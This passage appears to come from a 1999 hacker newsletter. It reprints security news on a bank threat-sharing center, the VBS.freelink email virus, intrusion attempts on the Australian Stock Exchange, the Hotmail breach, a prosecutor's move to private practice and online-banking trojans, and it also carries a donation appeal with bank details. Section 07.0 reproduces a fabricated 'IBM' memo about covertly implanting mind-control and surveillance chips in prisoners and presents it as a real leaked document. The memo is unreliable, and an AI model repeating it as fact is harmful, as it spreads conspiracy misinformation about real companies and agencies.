          Bill or Cindy Cheek 
          Cynthia Cheek trustee for William D. Cheek, Sr. 

     Funds should be sent to: 

          Union Bank of California 
          Acct# 0771354719 
          8359 Mira Mesa Blvd 
          San Diego, CA 92126 
          Attn: Rhonda or Kevin Smith 
          (619) 230-3800 

     OR 

          Bill and Cindy Cheek 
          PO Box 262478 
          San Diego, CA 92196 

     Though always a controversial figure, there is no disputing the fact that Bill has devoted his life to the love of radio and technology. We
     at Monitoring Times ask that you give this appeal the widest circulation among your radio friends. As fellow hobbyists, let's show our
     appreciation by giving generously. 

     73
     Larry Van Horn 
     
     @HWA
     
      
      
      
07.0  The IBM 2020 Neural Implant Chip 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  

      Contributed by TRDonJuan  


      The IBM 2020 Neural Chip Implant

      Intelli-Connection
      A Security Division of IBM
      1200 Progress Way
      Armonk, New York 11204
      October 20, 1995

      LIMITED DISTRIBUTION ONLY 
      LEVEL 9 COMMUNICATION
      2020 NEURAL CHIP IMPLANT 

      The control of crime will be a paramount concern in the 21st 
      century. We must be ready with our security products when the 
      demand for them becomes popular. Our Research and Development 
      Division has been in contact with the Federal Bureau of Prisons, 
      the California Department of Corrections, the Texas Department of 
      Public Safety, and the Massachusetts Department of Correction to 
      run limited trials of the 2020 neural chip implant. We have 
      established representatives of our interests in both management and 
      institutional level positions within these departments. 

      Federal regulations do not yet permit testing of implants on 
      prisoners, but we have entered into contractual agreements with 
      privatized health care professionals and specified correctional 
      personnal to do limited testing of our products. We have also had 
      major successes with privately owned sanitariums with implant 
      technology. We need, however, to expand our testing to research 
      how effective the 2020 neural chip implant performs in those 
      identified as the most aggressive in our society. Limited testing has 
      produced a number of results. 

      In California, several prisoners were identified as members of the 
      security threat group EME, or Mexican Mafia. They were brought 
      to the health services unit at Pelican Bay and tranquilized with 
      advanced sedatives developed by our Cambridge, Massachusetts 
      laboratories. The implant procedure takes 60-90 minutes, 
      depending upon the experience of the technician. We are working 
      on a device which will reduce that time by as much as 60% [30 
      min]. 

      The results of implants on eight prisoners yielded the following 
      results: 

      Implants served as surveillance devices to monitor threat group activity.
      Implants disabled two subjects during an assault on correctional staff.
      Universal side effects in all eight subjects revealed that when the
      implant was set to 116 Mhz, all subjects became lethagic and slept on an
      average of 18-22 hours per day.
      All subjects refused recreation periods for 14 days during the 166 
      Mhz test evaluation.
      Seven out of eight subjects did not exercise, in the cell or out of the
      cell, and five out of eight of the subjects refused showers up to three
      days at a time.
      Each subject was monitored for aggressive activity during the test period
      and the findings are conclusive that seven out of eight subjects exhibited
      no aggression, even when provoked.
      Each subject experienced only minor bleeding from the nose and ears 48
      hours after the implant due to initial adjustment.
      Each subject had no knowledge of the implant for the test period and each
      implant was retrieved under the guise of medical treatment. 






      It should be noted that the test period was for less than two months. 
      However, during the period substantial data was gathered by our 
      research and development team, which suggests that the implants 
      exceeds expected results. One of the major concerns of Security 
      and the R&D team was that the test subject would discover the 
      chemical imbalance during the initial adjustment period and the test 
      would have to be scrubbed. However, due to advanced 
      technological development in the sedatives administered, the 48-
      hour adjustment period can be attributed to prescription medication 
      given to the test subjects after the implant procedure. 

      One of the concerns raised by R&D was the cause of the bleeding 
      and how to eliminate that problem. Unexplained bleeding might 
      cause the subject to inquire further about his "routine" visit to the 
      infirmary or other health care facility. 

      The security windfall from the brief test period was enormous. 
      Security officials now know several strategies employed by the 
      EME that facilitate the transmission of illegal drugs and weapons 
      into correctional facilities. One intelligence officer remarked that 
      while they cannot use the information they have in a court of law, 
      they now know who to watch and what outside "connections" they 
      have. The prison at Solidad is now considering transferring three 
      subjects to Vacaville where we have our ongoing implant research. 
      Our technicians have promised that they can do three 2020 neural 
      chip implants in less than an hour. Solidad officials hope to collect 
      information from the trio to bring a 14-month investigation into 
      drug trafficking by correctional officers to a close. 

      Essentially the implants make the unsuspecting prisoner a walking-
      talking recorder of everyone he comes into contact with. There are 
      only five intelligence officers and the commissioner of Corrections 
      who actually know the full scope of the implant testing. 

      In Massachusetts, the Department of Correction has already entered 
      into high-level discussions about releasing certain offenders into 
      the community with the 2020 neural chip implants. Our people are 
      not altogether against the idea, however, attorneys for Intelli-
      Connection have advised against implant technology outside strict 
      control settings. Under the present governmental structure, our 
      liability would be enormous. While we have a strong lobby in 
      Congress and in various state legislatures favoring our product, we 
      must proceed with the utmost caution on uncontrolled use of the 
      2020 neural chip. If the chip were discovered in use not authorized 
      by law and the procedure tracted to us we could not endure for long 
      the resulting publicity and liability payments. 

      Massachusetts' officials have developed an intelligence branch from 
      their Fugitive Task Force Squad that would do limited test runs 
      under tight controls with pre-release subjects. Corrections officials 
      have dubbed these potential test subjects "the insurance group" (the 
      name derives from the concept that the 2020 implant insure 
      compliance with the law and allows officials to detect misconduct 
      or violations without question). 

      A retired police detective from Charlestown, Massachusetts, now 
      with the intelligence unit, has asked us to consider using the 2020 
      neural chip on hard core felons suspected of bank and armored car 
      robbery. He stated, "Charlestown would never be the same; we'd 
      finally know what was happening before they knew what was 
      happening." 

      We will continue to explore community uses of the 2020 chip, but 
      our company rep will be attached to all law enforcement operations 
      with an extraction crew that can be on-site in two hours from 
      anywhere, at anytime. 

      We have an Intell-Connection discussion group who is meeting 
      with the Director of Security at Florence, Colorado's federal super 
      maximum security unit. The initial discussions with the Director 
      have been promising and we hope to have an R&D unit at this 
      important facility within the next six months. Florence, Colorado 
      has replaced Marion, Illinois as the federal prison system's ultra 
      maximum security unit. Legislative and executive branch efforts 
      continue to legalize the implant technology. (See Intelli-
      Connection Internal Memorandum No.15). 

      End communication ... 10/20/95 

      Distribution: Eyes Only: Project Group 7A.

      @HWA   

08.0  Banks to Share Info Secretly 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com 


      contributed by Weld Pond 
      The Financial Services Information Sharing and Analysis
      Center has been established by the nation's banking
      industry to share information anonymously about
      electronic threats from rogue employees, software bugs,
      viruses and malicious cyber intruders. Licensed banks
      and financial firms will pay $13,000 to $125,000 to share
      completely anonymous information. One of the center's
      strengths will be its ability to notice trends in the
      information gathered. Other industries, including
      telecommunications, oil and gas, electrical power,
      transportation and America's water supply system are
      planning similar centers. 

      Associated Press - via Fox News   
      http://www.foxnews.com/js_index.sml?content=/news/wires2/1001/n_ap_1001_276.sml
      
      Nation's banks create private computer security system
      6.33 p.m. ET (2240 GMT) October 1, 1999
     
      By Ted Bridis, Associated Press
     
     
      WASHINGTON (AP) — The nation's banking industry has quietly wired itself a
      $1.5 million private computer network to share information anonymously about
      electronic threats from rogue employees, software bugs, viruses and hackers, the
      Treasury Department said Friday. 
     
      The Financial Services Information Sharing and Analysis Center is the result of
      orders from President Clinton to better protect America's most important
      industries from cyber attacks. It's in a secret location known to only about a
      half-dozen people, but it's believed to be nestled among a corridor of high-tech
      firms in northern Virginia. 
     
      Similar centers are planned in the coming months for seven other industries,
      including telecommunications, oil and gas, electrical power, transportation and
      America's water supply system. 
     
      This summer, the White House announced its plan to create a government-wide
      security network to protect its most important nonmilitary computers. 
     
      "New threats call for new types of solutions,'' said Treasury Secretary Lawrence
      Summers, adding that banking officials need to learn about viruses and malicious
      software that disguises itself as innocuous code. 
     
      Only licensed banks and other government-regulated financial firms that become
      subscribers will be able to exchange information or tap into this network's details
      of known security threats. Urgent alerts will be sent by e-mail, pager and cellular
      phones to a bank's experts — who will pay $13,000 to $125,000, depending on
      how many employees are using it. 
     
      "Every day, everywhere, people are trying to break into financial institutions —
      and sometimes from within financial institutions — trying to take money they're
      not authorized to have,'' said Kawika Daguio, vice president of the
      Washington-based Financial Information Protection Association. 
     
      Names and other identifying details will be stripped from submissions to ensure
      anonymity and encourage honesty — and partly so rival banks don't misuse the
      information and regulators can never know a specific financial institution was
      having problems. 
     
      "Once we demonstrated that you could have an anonymous capability so you
      can't trace it, most institutions stood up immediately and said, `Let's go do this,'''
      said Bill Marlow, executive vice president for Global Integrity, the consulting
      company in Reston, Va., that built the center. 
     
      Organizers said 16 financial institutions — with a total of $4.5 trillion in assets
      among them — have so far joined the network, with 500 to 1,000 more
      expected to join in the next 18 months. 
     
      One of the center's greatest strengths, say organizers, will be its ability to notice
      trends: A report by one bank of a hacker sniffing around its network becomes
      more onerous if dozens of other banks also report noticing exactly the same
      technique. 
     
      "Not a day goes by without seeing alerts about security, vulnerabilities in the
      products we use or news stories about Internet sites being compromised,'' said
      Steve Katz of Citigroup Inc., the center's coordinator. "What might appear to any
      one company as a random event might be more significant if looked at in the
      aggregate.'' 
     
      Although the Treasury Department helped organize the center, government
      leaders said U.S. agencies won't eavesdrop on the threat information disclosed
      by banks. However, the government will volunteer details about security
      problems through the FBI's National Infrastructure Protection Center. 
     
      "If they choose to give information to the government, that's nice,'' said Richard
      Clarke of the National Security Council. "The government, however, will share
      information with them ... both classified and non-classified information.'' 
     
                            comments@newsdigital.com
           © 1999, News America Digital Publishing, Inc. d/b/a Fox News Online.
      All rights reserved. Fox News is a registered trademark of 20th Century Fox Film Corp. 

                  © 1999 Associated Press. All rights reserved.
          This material may not be published, broadcast, rewritten, or redistributed.
 
      @HWA
      
09.0  Melissa's Twin Appears in Outlook 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com

      contributed by no0ne 
      A virus that works in the same fashion as the Melissa
      Virus has shown up in Microsoft Outlook. The virus,
      named "VBS.freelink", requires a newer version of Visual
      Basic. This means that it can't penetrate or infect
      Windows 95. 

      C|Net            
      http://news.cnet.com/news/0-1006-200-429558.html
      
      Melissa-like virus reemerges in Outlook 
      By Stephen Shankland
      Staff Writer, CNET News.com
      October 1, 1999, 3:25 p.m. PT 
 
      update A computer virus that works in a similar fashion as the so-called Melissa virus has reemerged today for some
      users of Microsoft Outlook software. 
 
      Antivirus researchers said the virus has been in existence since July and has been named VBS.freelink. In order to work, the virus
      requires newer versions of Windows Visual Basic programming language, which means that Windows 95 computers aren't
      affected, said Steve Trilling of Symantec's antivirus lab. 
 
      Antivirus companies updated their virus databases to detect the Freelink virus, but the virus might still arrive undetected
                            depending on how the software is set up. The virus slips under the radar screen of earlier versions of
                            some antivirus software because the email attachment is a file type that is a relatively new home for
                            viruses, Trilling said. 
 
                            Microsoft's Lisa Gurry said the virus can't spread unless a recipient opens the infected attachment,
                            and urged people to practice good computer hygiene. "We recommend people install the latest
                            antivirus software and also not open unknown attachments in email," she said. 
 
                            In recent months, a new category of viruses such as Melissa, Explore.zip, and Freelink have
                            cropped up that can spread much faster than earlier viruses. These new viruses take advantage of
                            the fact that email programs such as Outlook can be automated to broadcast virus-infected
                            attachments. Further, Melissa, Explore.zip, and Freelink borrow email address lists from Outlook,
                            which not only provides a ready list of recipients, but also means the virus is sent from a person
                            likely to be known to the recipient. 
 
                            Antivirus company TrendMicro got a handful of reports on the virus yesterday and feared an outbreak
      that in fact never happened. 
 
      "We geared up thinking it might be another Melissa, but it didn't happen," said TrendMicro's Dan Schrader. "We get these kind of
      fire drills once or twice a month." 
 
      Trilling said Symantec hasn't detected a resurgence of the virus. 
 
      The virus spreads by an email that contains a Visual Basic script file. If the attachment is opened, the file surreptitiously goes
      through a user's address book and sends the virus out like a chain mail to anyone listed in the user's address book. 
 
      The email carrying the bug can be identified by the subject line, which states, "Check this." The body of the email contains this
      message: "Have fun with these links. Bye." 
 
      Below that is a file called "links.vbs," which stands for Visual Basic script. If the file is opened by clicking on its icon, the virus
      runs and begins propagating. 
 
      "This is not an Outlook virus," said Gurry. "It's a malicious use of Visual Basic script. There's nothing we could fix." 
 
      The most recent version of Norton Antivirus is set up by default to scan all downloaded files, but earlier versions didn't, Trilling
      said. 
 
      In the past few days, Symantec received four submissions of the Freelink virus and six emails asking about it. "While not
      overwhelming, this is certainly indicative that the virus is still very much alive 'in the wild,'" Trilling said. 
 
      The Melissa virus, which emerged on March 26, used a combination of Microsoft Word macros and Microsoft Outlook. Users
      would receive a disguised file, which contained a list of 80 pornographic Web sites. People who opened the file launched the virus,
      which then sent it to many people on the address list stored in Outlook. 
 
      The self-replicating nature of the virus led to email traffic clogs around the world as massive numbers of messages were sent as a
      result of the virus. Although Melissa itself did not attempt to corrupt files inside computers, later copycat versions did. 
 
      Roughly a week after Melissa emerged, authorities arrested the man suspected of starting the virus. The suspect, David Smith,
      admitted in court papers to have spread the virus using a stolen AOL account. 

      @HWA
      
10.0  L0pht Heavy Industries Exposed 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com      


      contributed by Weld Pond 
      What exactly happens at L0pht Heavy Industries? Why
      do they do what they do? Why so many different flavors
      of Cheez-Its in the cupboard? 

      New York Times Magazine - Free Registration Require       
      http://www.nytimes.com/library/magazine/home/19991003mag-hackers.html
      (*This appeared in last weeks issue) 

      @HWA

11.0  ASX Claims Attacked by US Military 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com 

      contributed by turtlex 
      The managing director of the Australian Stock Exchange
      claims to have traced attempted cyber break-ins to a
      United States military installation. The director said that
      break in attempts happened against the site every day
      but that none where able to get past the first of a
      series of fire walls built to protect the system. 

      Asia Yahoo
      http://asia.yahoo.com/headlines/041099/technology/939030660-137212.html
      
      Yahoo News
      http://au.dailynews.yahoo.com/headlines/041099/ttalkap/938991600-202072087.html
      
      Sydney Morning Herald
      http://www.smh.com.au/news/9910/04/national/national10.html
      
      Australian Stock Exchange
      http://www.asx.com.au/
      
      Asia Yahoo;
      
      SYDNEY, AUSTRALIA, 1999 OCT 4 (NB) 
      By Adam Creed, Newsbytes.
      
      Hackers traced to a US military installation attempted to break into the Australian
      Stock Exchange's (ASX) computer database, according to local media reports.Richard
      Humphry, managing director of the ASX, said the attack failed and the ASX contacted
      the Australian Defence Department immediately, speaking on television on Sunday. He
      was told that it was not an "official" attempt by the US military to breach the system.
      
      Humphry said there had been a number of attacks on the system, with "amateurs trying
      fairly frequently" to gain access, although none had made it past the first of the ASX
      system's multi-layered firewalls.
      
      Yahoo news;
      
      Monday 4 October 9:00 AM

      ASX a target in break-in attempts

      An attempt has been made to break into the Australian Stock Exchange (ASX) by computer
      hackers. This has been traced to a United States military installation, ASX managing 
      director Richard Humphry said on 3 October 1999. In an interview with the Nine Network's
      Business Sunday program, Humphry said the hackers could not break into the ASX site but 
      had broken into another site instead. He had contacted the Defence Department for advice.
      Another serious break-in attempt came from Victoria and the Federal Police has been called
      in. He said there were plenty of attacks on the ASX site but none could pass through the 
      first of a series of fire walls built to protect the system 
      
      Sydney Morning Herald;
      



      Australian Stock Exchange foils US hackers

      Computer hackers from a United States military installation tried to break into the
      Australian Stock Exchange's database, its managing director, Mr Richard Humphry, said
      yesterday.

      Mr Humphry said authorities were notified after the hackers from the US military
      installation tried to break into the site and "broke into another site to achieve that
      objective".

      "We were able to trace that back to another country and to an installation that was
      associated with military activities and accordingly we contacted the Defence Department
      and asked that they advise us of the likelihood that this country was attempting some form
      of attempted break into our database," Mr Humphry told the Nine Network's Business
      Sunday program.

      He said he had received an assurance that there was no possibility of the attack being an
      official attempt to breach the ASX's security arrangements.

      Business Sunday said it understood the attempt came from an air base in a western US
      State.

      Mr Humphry said he took the attempt seriously.

      "I wrote to the Secretary of Defence about it, and asked him to contact the defence and
      signals division to advise me," he said.

      He said another serious attack came from Victoria.

      Mr Humphry said on this occasion the Australian Federal Police were called.

      "The Federal Police did not lay charges because they have to actually catch people in the
      act. But again the attempts ceased immediately," he said.

      It was difficult to prosecute suspects under existing laws and he had urged the Federal
      Government to improve the system.

      "I've written to the Attorney-General about that. There is a definite need for an upgrading
      of our legislation to allow for the capacity to both properly trace calls and to prosecute
      electronic penetration if it's illegal," he said.

      Mr Humphry said the Government had acknowledged there was a need to upgrade laws
      but said he had yet to receive any advice of action being taken.

      Of the "plenty of attacks" on the ASX computer system, Mr Humphry said none had
      been successful, with "amateurs trying fairly frequently".

      "We build multi-layered firewalls," he said of the ASX security strategy. The hackers had
      not been able to pass "through the first wall".

      - AAP 
       
      @HWA  
      
12.0  Microsft Clears Self of HotMail Breach 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com

      contributed by Weld Pond 
      A study commissioned by Microsft has cleared them of
      any fault in the recent HotMail security breach. The
      breach was caused by a 'software glitch' that left
      HotMail users vulnerable for up to 65 hours. The report
      was conducted by one of the 'Big 5' auditing firms but
      has not been released. (If I was the judge at my own
      trial I'd clear myself too.) 

      ZD Net      
      http://www.zdnet.com/zdnn/filters/bursts/0,3422,2347621,00.html
      
      ------------------------------------------------------------
      This story was printed from ZDNet News located at
      http://www.zdnn.com If you would like to
      receive ZDNN's free newsletter, which keeps you up to date
      on the latest tech happenings, simply send a
      message to zdnn_news-on@lists.zdnet.com and you will
      automatically receive a free sample.
      ------------------------------------------------------------
      
      
      05:11p
      Microsoft touts Hotmail investigation
      Microsoft Corp., along with privacy auditor TRUSTe, announced the results of an "independent" investigation (commissioned by both
      companies) into whether Microsoft could be blamed for the August 30 security breach in its Hotmail service. According to the company,
      Microsoft left the breach -- caused by an bug in a software update -- open 65 hours, leaving e-mail accounts open to any knowledgeable user.
      The "Big 5 accounting firm" that authored the report was not revealed by either company, but Microsoft said the report exonerated the software
      giant of any fault. -- Robert Lemos, ZDNN 

      @HWA
      
13.0  TISC I/O Lab to Showcase Security Tech 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com

      contributed by Bill 
      The Internet Security Conference (TISC) once again will
      host the TISC Interoperability Lab, a live network that
      demonstrates how organizations can combine
      multi-vendor solutions to create a secure enterprise
      environment. The Interoperability Lab will be open to all
      TISC attendees October 12-14 at the World Trade
      Center in Boston, Massachusetts. (As press releases go
      this one was pretty dry but this lab looks like a lot of
      fun.) 

      The Internet Security Conference  
      http://tisc.corecom.comhttp://tisc.corecom.com
      
      @HWA  
      
14.0  Web Anonymizing Tests Released 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com

      contributed by Richard 
      Worried that your Web Anonymizer isn't working? Try
      out these pages which contain about a half dozen
      different tricks a web site can use to grab your info. If
      your paying to be anonymous you should check this out.
      You may be surprised. 

      Anonymizing Tests
      http://www.tiac.net/users/smiths/anon/test.htm
      
      Anonymizing Info Web Anonymizing Tests Released 
      http://www.tiac.net/users/smiths/anon/index.htm
      
      @HWA
      
      
15.0  CyberCrime Prosecutor Moves to Private Practice 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com

      contributed by Weld Pond 
      David Schindler, who prosecuted Kevin Mitnick, Kevin
      Poulsen, and Justin Peterson, is moving on to private
      practice. He has accepted a partnership with the Los
      Angeles law firm of Latham & Watkins where he will
      handle intellectual property and other computer related
      cases. 

      ZD Net CyberCrime Prosecutor Moves to Private Practice 
      http://www.zdnet.com/zdnn/stories/news/0,4586,2345388,00.html
      
      --------------------------------------------------------------
      This story was printed from ZDNN,
      located at http://www.zdnet.com/zdnn.
      --------------------------------------------------------------
      
      Schindler heads toward life post-Mitnick
      By Lisa M. Bowman, ZDNN
      October 3, 1999 2:09 PM PT
      URL: 
      
      LOS ANGELES -- Assistant U.S. Attorney David Schindler's drab 11th-floor office at the federal
      courthouse belies his status as the man who put the most notorious hackers of the '90s behind bars. 
      
      In the middle of the cramped space sits a brown desk stacked neatly with documents. Chalky beige
      blinds hide the view (though all he'd see is cars crawling along down below on Highway 101). Dull
      yellow, government-issued file cabinets line the walls. But a closer look at the Post-it notes tacked to
      those file cabinets reveals that this office isn't your ordinary bureaucratic digs: Scribbled on the notes
      in big black marker are such names as Symington and Mitnick.
      
      That's Symington, as in Fife Symington, the former Arizona governor convicted
      of bank fraud charges two years ago.
      
      And Mitnick, as in Kevin Mitnick, the now-jailed hacker whose antics landed
      him on the FBI's most-wanted list.
      
      Because of his work on those cases and others, Schindler's about to get a plush
      new office.
      
      This month, Schindler, 37, is leaving his life as a prosecutor and settling into a
      swank new workplace as partner at the law firm of Latham & Watkins. Behind him, he leaves a
      legacy that includes not only bringing down a governor, but also locking up the most high-profile
      hackers yet to hit the computer industry. 
      
      At Latham's offices, housed in a sleek glass building that towers over the rest of downtown L.A.,
      Schindler will tackle intellectual property, internal investigation, and other computer-related cases.
      
      Seeking new challenges
      Schindler says he's leaving because after 10 years in the federal prosecutor's office, "it was time to
      do something different. It sort of got to the point where I realized I wanted some new challenges and
      a change of venue."
      
      The wrap-up of the first phase of the Symington trial (the conviction has been overturned on appeal,
      and the case is still moving through the courts), followed by the end of the Mitnick case in August,
      marked a sort of graduation for Schindler.
      
      "It was a turning point, and there were a lot of offers," he said.
      
      Which isn't surprising, considering Schindler's prominence as a prosecutor of cyber criminals.
      
      Schindler began tracking hackers back when they were nearly mythical figures, straight out of
      movies such as War Games.
      
      Busting the big three
      This was before the spread of the Web enticed a bevy of hackers to break into a new government
      site every week, before hundreds of wannabe hackers known as "script kiddiez" piggybacked on the
      skills of others to wreak havoc online.
      
      Schindler was first introduced to the hacker world in 1990, when he was assigned to supervise the
      investigation of Kevin Poulsen, an L.A. hacker who had been on the run from authorities in Northern
      California, and then started committing crimes in Southern California.
      
      Following Poulsen's capture in Los Angeles, Schindler negotiated a plea bargain that included a
      51-month sentence for rigging local radio station contests to win prizes like Porsches and vacations.
      
      Schindler then went on to handle the cases of hackers such as Mitnick, sentenced to 46 months in
      prison for stealing code from tech companies including Sun Microsystems Inc.; and Justin Petersen,
      sentenced to 41 months for conspiring to wire $150,000 from a California bank.
      
      Under plea bargains with Schindler, the trio served jail terms longer than any prior hackers had seen.
      
      While Mitnick couldn't be reached for comment, Poulsen speaks with a guarded respect about the
      man who put him behind bars.
      
      "It's not personal," he said of Schindler's pursuit of him.
      
      "I'm not a big fan of federal prosecutors in general, but what more can you ask for than to only be
      charged with crimes you actually committed?" he said.
      
      Before Poulsen's capture in Los Angeles, another prosecutor in Northern California had accused
      Poulsen of espionage and other serious crimes, charges that were later dropped.
      
                          These days, instead of hacking into secure systems, Poulsen writes for
                          publications including ZDNet, goes dancing, and has taken up origami.
                          Tightly folded paper boxes are placed on shelves throughout his house.
      
                          He's also studying the Perl and Java programming languages, and he
      keeps a coffee mug on his desk that says, 'If I learn any more, I'll be a threat to national security.'
      (He found the mug at a second-hand store shortly after his release).
      
      Grudging admiration
      In turn, Schindler seems to have a reserved admiration for Poulsen's understanding of law
      enforcement and counter-surveillance techniques, techniques that allowed him to evade capture for a
      year and a half.
      
                      "There was certainly a part of it that made you smile," Schindler said. "It was
                      clever, but it was wrong."
      
                      Schindler said he's proud of the way Poulsen's turned his life around, but he
                      doesn't have the same hopes for Mitnick, who's still behind bars.
      
                      "You like to be optimistic, but he's a recidivist," Schindler said. "Every time he's
                      had the opportunity to walk the straight and narrow, he hasn't." 
      
                      Schindler seems on the fence about future prospects for Petersen, who was
      recently released from jail and reportedly plans to run an Internet porn site.
      
      "He certainly has the ability to live a moral life," Schindler said, adding that he hopes Petersen
      doesn't go back to hacking. "(Hacking) is a waste of his time -- he certainly knows better."
      
      Similar to those he busts?
      David Schindler can be very much like the hackers he's prosecuted.
      
      He possesses a furious attention to detail and a bulldog-like tenacity that's led him to scribble drafts
      of indictments in crayon on butcher-block paper while dining with colleagues.
      
      "He'd tear off half the table cloth and take it with him," said Assistant U.S. Attorney Jeffrey Isaacs,
      who worked on the Symington trial with Schindler in Arizona. The pair would often dine at the
      Macaroni Grill in Scottsdale during that case, and Schindler wouldn't let the case go, even for an
      hour.
      
      Like hackers who code away late into the night, Schindler finds it hard to pull away from his work.
      While handling the grueling Symington investigation, Schindler also wrote versions of the Mitnick
      indictment.
      
      "If Dave has a drawback, it's his difficulty delegating things," Isaacs said. "He will not settle for
      anything less than he would do himself."
      
      But in other ways, he's very different from the hackers he pursues.
      
      Schindler, who's married and has a young daughter, is not particularly technical -- purposefully so, in
      case he has to explain complicated matters to judges or juries.
      
      And while hackers thrive in a world of bluster and bravado -- often bragging about and even
      exaggerating their latest exploits -- the lanky, curly-haired Schindler doesn't actively seek the
      spotlight. When confronted with it, he raises his thick black eyebrows and shrugs.
      
      His demeanor is defined by a subtle, unflappable confidence. He also can endure irritations, such as
      arduous investigations and scorching Arizona summers, that would drive most people over the edge.
      
      During the Symington case, he hopped a plane to Phoenix every Tuesday morning and returned
      every Thursday night.
      
      Flying coach
      Worse, Isaacs said, the pair flew Southwest Airlines. That meant a weekly ritual of clutching brightly
      colored plastic boarding passes and joining the cattle call of people vying for choice seats on the
      plane.
      
      "No matter how bad it got, Dave never complained," Isaacs said.
      
      Friends say Schindler's not a stereotypical prosecutor, the tunnel-visioned lawyer who'll doggedly
      pursue even those cases that have little merit.
      
      "He's guided by the principle of doing the right thing," said Karen Lash, associate dean of the USC
      Law School, and a friend of Schindler's since the first grade. "He's a zealous prosecutor when he
      believes that's appropriate. If he's got a weak case, he'll let go of it."
      
      Schindler himself said his politics are as well-suited to being a public defender as a prosecutor, but
      it's unlikely he'll be representing accused hackers anytime soon.
      
      First, he doesn't think they'd want him -- though Poulsen disagrees. Second, even if they did want
      him, hackers probably couldn't afford him in his new role.
      
      A new view
      Schindler, who holds an undergraduate degree from UC Berkeley and a law degree from UCLA,
      wouldn't comment on his new salary, but friends estimated he'll at least double, if not triple, his
      $115,000 prosecutor's pay. According to a 1999 survey by American Lawyer magazine, Latham &
      Watkins ranked fourth out of the top 100 law firms in total revenue in its 1999 survey.
      
      Schindler said he's going to miss the prosecutors' office, especially working with other agents and
      lawyers, and representing the U.S. for a living.
      
      But he's also looking forward to the intellectual challenge of representing cutting-edge clients such as
      America Online Inc. (NYSE:AOL) and Apple Computer Inc. (Nasdaq:AAPL), and the chance to
      work for a posh firm with an extensive library and support staff -- a firm that just might let him fly
      first class.
            
      @HWA

16.0  Home Banking Weaknesses Begin at Home 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com

      contributed by Weld Pond 
      The rush to give consumers online banking has also left
      them vulnerable. It is extremely easy to install a Trojan
      Horse and take control of not just your PC but also your
      bank accounts. Banks say that this is not their problem,
      but then they get to write off any losses so they really
      don't care. 

      MSNBC
      http://www.msnbc.com/news/318015.asp

      (This show aired on Dateline, you would expect it to be
      at nbc.com/dateline but for some silly reason they put
      it where no one can find it over on MSNBC.com. Go
      figure.) Home Banking Weaknesses Begin at Home 
      
      Protecting your money
                 
      How safe are your
      checks from
      fraud?
                                  
                                             NBC News

      Oct. 3—  You know the drill by now. You destroy
      credit card carbons and are very selective about
      giving your card number over the phone. Well
      perhaps you should be protecting your checks
      even more carefully. Welcome to the world of
      finance in the computer age. How can you protect
      yourself from check fraud?

                                              
      Free Computer Security Check: Internet Security Systems
      CERT Coordination Center: Internet security vulnerabilities
      Cybercrime: Know the risks
      ICSA: Internet Security standards, certifications
      Federal Trade Commission
                                                                            

       THE FACT IS check fraud hurts millions of businesses and
       individuals every year—up to $15 billion a year, according to
       government and banking industry statistics. In the computer
       age, it doesn’t take a genius to be a master thief. And if a
       counterfeiter is able to cash that check, unlike with credit
       cards where the law says you’re only responsible for the first
       $50 of loss, with check fraud the rules are less consumer
       friendly.
              “If you exercised ordinary care and you reported it
       immediately, we’re going to reimburse you most of the time,”
       says Lisa Wilhelm, a former senior vice-president at Wells
       Fargo Bank. She says its really up to the bank whether or not
       people get their money back. “There is absolutely no
       guarantee,” she says. “It depends on whether or not you
       exercise ordinary care. Did you keep your checks in a safe
       place? Did you look at your statement when it came and
       report the unauthorized transactions to the bank
       immediately?”
              Banks do have explicit rules requiring new customers to
       present at least a government issued ID to open an account.
       But forgery detectives say con men and women often count
       on a banker’s reluctance to offend a new customer by
       sticking to those rules.
              But even if a crook steals and alters your checks, or gets
       your account number and prints new ones, you might think,
       you are protected by your signature. But U.S. banks process
       a breathtaking 17 billion checks a year using high-speed
       automated readers. And with few exceptions, signatures are
       not always looked at as Dateline found out in its recent
       investigation.
               
           The onset of online banking will pose a new set of risks.
       By the end of next year, almost 20 to 30 million Americans
       are expected to use their PC’s to access their accounts. A
       recent General Accounting Office report to congress
       criticized banks for maybe moving too fast. The GAO says
       nearly half of the institutions it surveyed have yet to take
       steps the government thinks are needed to limit online
       banking risks. Although the GAO found no recently reported
       losses, bankers admit, consumers do need to be wary.
              “For every new technology that emerges, we also have
       criminal behavior that follows that,” says Catherine Allen,
       head of BITS—Banking Industry Technology
       Secretariat—funded by large banks. She says it’s a kind of
       SWAT Team against fraud.
              Where does the problem lie with online banking as far as
       being able to steal your account? Allen says, “It’s going to
       happen at the PC or software level with a customer’s PC if it
       does occur.”
              Similar to computer viruses, they are called Trojan
       horses and there are many ways you can be attacked by one.
       A Trojan Horse is basically a program which is disguised to
       do something sort of innocuous, like it’s a little game program
       or it’s a greeting card program. But instead, while the
       innocuous thing is going on in your computer, something more
       nefarious is going on. The sort of payload of the Trojan horse
       program is something that can take control of your computer,
       can read your files, read your keystrokes some of them can
       even send them over the Internet to someone controlling it
       from far away.
              They can steal your bank account numbers, says Special
       Agent Mary Riley, an expert on electronic financial fraud
       with the U.S. Secret Service. “The person who’s installed
       that program can actually take complete control of your
       computer system. They have full access to all data located on
       your computer or any computers that are networked into your
       system.”
              Banks say it’s important to know how they come to you
       and how to protect yourself. 
              There are things you can do to protect your accounts.
              
       LOOK AT STATEMENT
              When you get a statement, actually check it carefully for
       problems. 
              
       PROTECT YOUR PRIVACY
              Destroy or shred sensitive documents so crooks can’t
       use them.
              
       USE ANTIVIRUS SOFTWARE 
              For online banking, it’s important to use antivirus
       software and update it frequently. 
              
       NOTIFY YOUR BANK
